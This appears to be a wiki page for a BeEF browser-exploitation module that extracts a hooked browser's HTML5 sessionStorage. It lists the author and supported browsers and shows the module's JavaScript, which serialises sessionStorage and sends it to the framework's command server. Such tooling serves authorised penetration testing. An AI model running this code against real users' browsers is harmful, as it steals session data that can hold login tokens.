Skip to content

Module: Get Session Storage

Jess Williams edited this page Dec 31, 2019 · 2 revisions

Summary

  • Objective: Extracts data from the HTML5 sessionStorage object.
  • Date: ???
  • Authors: bcoles
  • Browsers: IE 8+, Firefox 4? Opera 11+, Safari 4+
  • Code

Internal Working

This module just gather the session Storage for this page using the window['sessionStorage'] function :

beef.execute(function() {
    if ('sessionStorage' in window && window['sessionStorage'] !== null) {
    beef.net.send("<%= @command_url %>", <%= @command_id %>, "sessionStorage="+JSON.stringify(window['sessionStorage']));
    } else beef.net.send("<%= @command_url %>", <%= @command_id %>, "sessionStorage="+JSON.stringify("HTML5     sessionStorage is null or not supported."));
});

Feedback

Clone this wiki locally